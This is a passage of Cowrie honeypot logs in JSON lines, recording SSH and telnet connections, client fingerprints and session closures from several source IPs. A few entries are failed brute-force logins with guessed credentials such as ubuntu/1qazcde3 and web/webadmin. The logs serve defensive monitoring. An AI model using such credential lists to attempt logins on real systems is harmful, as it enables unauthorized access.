m@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:37:06.314921Z","src_ip":"154.198.162.75","session":"1134991b549b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:37:06.333100Z","src_ip":"172.236.228.198","session":"c4fdeaddb25d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:37:06.406024Z","src_ip":"172.236.228.198","session":"c4fdeaddb25d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:37:06.696084Z","src_ip":"172.236.228.198","session":"c4fdeaddb25d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.236.228.198","src_port":13880,"dst_ip":"10.17.0.5","dst_port":22,"session":"a540cf1b3ae3","protocol":"ssh","message":"New connection: 172.236.228.198:13880 (10.17.0.5:22) [session: a540cf1b3ae3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:37:06.762025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:37:06.832861Z","src_ip":"172.236.228.198","session":"a540cf1b3ae3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:37:06.837039Z","src_ip":"172.236.228.198","session":"a540cf1b3ae3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:37:07.126324Z","src_ip":"172.236.228.198","session":"a540cf1b3ae3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"qwerty","message":"login attempt [user1/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:37:07.176787Z","src_ip":"154.198.162.75","session":"1134991b549b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.236.228.198","src_port":13884,"dst_ip":"10.17.0.5","dst_port":22,"session":"5655e95c6624","protocol":"ssh","message":"New connection: 172.236.228.198:13884 (10.17.0.5:22) [session: 5655e95c6624]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:37:07.239275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:37:07.311951Z","src_ip":"172.236.228.198","session":"5655e95c6624","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:37:07.319980Z","src_ip":"172.236.228.198","session":"5655e95c6624","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:37:07.441938Z","src_ip":"172.236.228.198","session":"5655e95c6624","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:37:08.392200Z","src_ip":"154.198.162.75","session":"1134991b549b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":65.71992301940918,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:37:10.673136Z","src_ip":"147.182.143.59","session":"e00ec20d9b3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":42940,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7f63e8cc1fd","protocol":"telnet","message":"New connection: 147.182.143.59:42940 (159.203.135.109:23) [session: f7f63e8cc1fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:37:11.223705Z"}
{"eventid":"cowrie.session.closed","duration":30.91895818710327,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:37:20.621597Z","src_ip":"69.162.99.242","session":"d2629b209ba7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":58.57199215888977,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:37:22.492955Z","src_ip":"147.182.143.59","session":"7e5cb9b9693b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":46158,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d05b96512cf","protocol":"telnet","message":"New connection: 45.58.127.90:46158 (10.17.0.5:23) [session: 4d05b96512cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:37:30.902394Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":46154,"dst_ip":"10.17.0.5","dst_port":23,"session":"936fd8202ca8","protocol":"telnet","message":"New connection: 45.58.127.90:46154 (10.17.0.5:23) [session: 936fd8202ca8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:37:31.028950Z"}
{"eventid":"cowrie.session.closed","duration":44.2896192073822,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:37:31.708009Z","src_ip":"45.58.127.90","session":"65837d328bbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":57004,"dst_ip":"159.203.135.109","dst_port":23,"session":"96c1c654c669","protocol":"telnet","message":"New connection: 147.182.143.59:57004 (159.203.135.109:23) [session: 96c1c654c669]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:37:35.080919Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":33250,"dst_ip":"159.203.135.109","dst_port":23,"session":"b55a50a29fda","protocol":"telnet","message":"New connection: 147.182.143.59:33250 (159.203.135.109:23) [session: b55a50a29fda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:37:38.530450Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":40150,"dst_ip":"10.17.0.5","dst_port":23,"session":"8cf4c8136d5d","protocol":"telnet","message":"New connection: 45.58.127.90:40150 (10.17.0.5:23) [session: 8cf4c8136d5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:37:39.301676Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":33252,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e7c2a8ff37b","protocol":"telnet","message":"New connection: 147.182.143.59:33252 (159.203.135.109:23) [session: 5e7c2a8ff37b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:37:41.483727Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":40156,"dst_ip":"10.17.0.5","dst_port":23,"session":"28decac083d4","protocol":"telnet","message":"New connection: 45.58.127.90:40156 (10.17.0.5:23) [session: 28decac083d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:37:43.349454Z"}
{"eventid":"cowrie.session.closed","duration":12.953271627426147,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:37:48.034060Z","src_ip":"147.182.143.59","session":"96c1c654c669","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.2084481716156,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:37:49.738764Z","src_ip":"147.182.143.59","session":"b55a50a29fda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.611206531524658,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:37:54.094832Z","src_ip":"147.182.143.59","session":"5e7c2a8ff37b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.198.162.75","src_port":42828,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff8944df5443","protocol":"ssh","message":"New connection: 154.198.162.75:42828 (10.17.0.5:22) [session: ff8944df5443]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:38:01.488651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:38:01.493107Z","src_ip":"154.198.162.75","session":"ff8944df5443","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:38:01.699513Z","src_ip":"154.198.162.75","session":"ff8944df5443","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qazcde3","message":"login attempt [ubuntu/1qazcde3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:38:02.580417Z","src_ip":"154.198.162.75","session":"ff8944df5443","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:38:03.791690Z","src_ip":"154.198.162.75","session":"ff8944df5443","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":56436,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd41dcbe2cec","protocol":"telnet","message":"New connection: 147.182.143.59:56436 (159.203.135.109:23) [session: cd41dcbe2cec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:38:08.765641Z"}
{"eventid":"cowrie.session.closed","duration":58.846747159957886,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:38:10.070351Z","src_ip":"147.182.143.59","session":"f7f63e8cc1fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":43064,"dst_ip":"10.17.0.5","dst_port":23,"session":"82de6bed5adf","protocol":"telnet","message":"New connection: 45.58.127.90:43064 (10.17.0.5:23) [session: 82de6bed5adf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:38:14.183182Z"}
{"eventid":"cowrie.session.closed","duration":43.82061767578125,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:38:14.722908Z","src_ip":"45.58.127.90","session":"4d05b96512cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.9539999961853,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:38:15.982814Z","src_ip":"45.58.127.90","session":"936fd8202ca8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.93127942085266,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:38:17.280614Z","src_ip":"45.58.127.90","session":"28decac083d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.83325433731079,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:38:18.134836Z","src_ip":"45.58.127.90","session":"8cf4c8136d5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":43398,"dst_ip":"159.203.135.109","dst_port":23,"session":"855788354625","protocol":"telnet","message":"New connection: 147.182.143.59:43398 (159.203.135.109:23) [session: 855788354625]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:38:27.508333Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":52254,"dst_ip":"10.17.0.5","dst_port":23,"session":"779649e89905","protocol":"telnet","message":"New connection: 45.58.127.90:52254 (10.17.0.5:23) [session: 779649e89905]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:38:33.502257Z"}
{"eventid":"cowrie.session.closed","duration":14.29275631904602,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:38:41.800911Z","src_ip":"147.182.143.59","session":"855788354625","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":41452,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8103f7a515a","protocol":"telnet","message":"New connection: 45.58.127.90:41452 (10.17.0.5:23) [session: f8103f7a515a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:38:45.014596Z"}
{"eventid":"cowrie.session.closed","duration":38.335617780685425,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:38:52.518693Z","src_ip":"45.58.127.90","session":"82de6bed5adf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.198.162.75","src_port":50850,"dst_ip":"10.17.0.5","dst_port":22,"session":"2abea49a2be9","protocol":"ssh","message":"New connection: 154.198.162.75:50850 (10.17.0.5:22) [session: 2abea49a2be9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:38:54.313014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:38:54.318079Z","src_ip":"154.198.162.75","session":"2abea49a2be9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:38:54.519945Z","src_ip":"154.198.162.75","session":"2abea49a2be9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"web","password":"webadmin","message":"login attempt [web/webadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:38:55.361784Z","src_ip":"154.198.162.75","session":"2abea49a2be9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":40954,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4cc64666f2b","protocol":"telnet","message":"New connection: 45.58.127.90:40954 (10.17.0.5:23) [session: c4cc64666f2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:38:55.673599Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:38:56.570470Z","src_ip":"154.198.162.75","session":"2abea49a2be9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":56386,"dst_ip":"159.203.135.109","dst_port":23,"session":"705e11d00f04","protocol":"telnet","message":"New connection: 147.182.143.59:56386 (159.203.135.109:23) [session: 705e11d00f04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:39:06.386875Z"}
{"eventid":"cowrie.session.closed","duration":34.766762495040894,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:39:08.268886Z","src_ip":"45.58.127.90","session":"779649e89905","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":64.31532669067383,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:39:13.080872Z","src_ip":"147.182.143.59","session":"cd41dcbe2cec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.563130140304565,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:39:21.577584Z","src_ip":"45.58.127.90","session":"f8103f7a515a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":34524,"dst_ip":"159.203.135.109","dst_port":23,"session":"99d1bafda36d","protocol":"telnet","message":"New connection: 69.162.99.242:34524 (159.203.135.109:23) [session: 99d1bafda36d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:39:21.641648Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":41550,"dst_ip":"159.203.135.109","dst_port":23,"session":"8731d6d23596","protocol":"telnet","message":"New connection: 69.162.99.242:41550 (159.203.135.109:23) [session: 8731d6d23596]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:39:24.535232Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":59328,"dst_ip":"159.203.135.109","dst_port":23,"session":"df950c66e34b","protocol":"telnet","message":"New connection: 147.182.143.59:59328 (159.203.135.109:23) [session: df950c66e34b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:39:24.754666Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.216.73.109","src_port":60954,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bd8c26cd39a","protocol":"telnet","message":"New connection: 102.216.73.109:60954 (10.17.0.5:23) [session: 8bd8c26cd39a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:39:26.097243Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.149.254","src_port":43036,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec1e478db8d3","protocol":"telnet","message":"New connection: 176.65.149.254:43036 (159.203.135.109:23) [session: ec1e478db8d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:39:29.814557Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":49576,"dst_ip":"10.17.0.5","dst_port":23,"session":"48deb4f2fc59","protocol":"telnet","message":"New connection: 45.58.127.90:49576 (10.17.0.5:23) [session: 48deb4f2fc59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:39:32.822839Z"}
{"eventid":"cowrie.session.closed","duration":38.94970893859863,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:39:34.623191Z","src_ip":"45.58.127.90","session":"c4cc64666f2b","protocol":"telnet"}
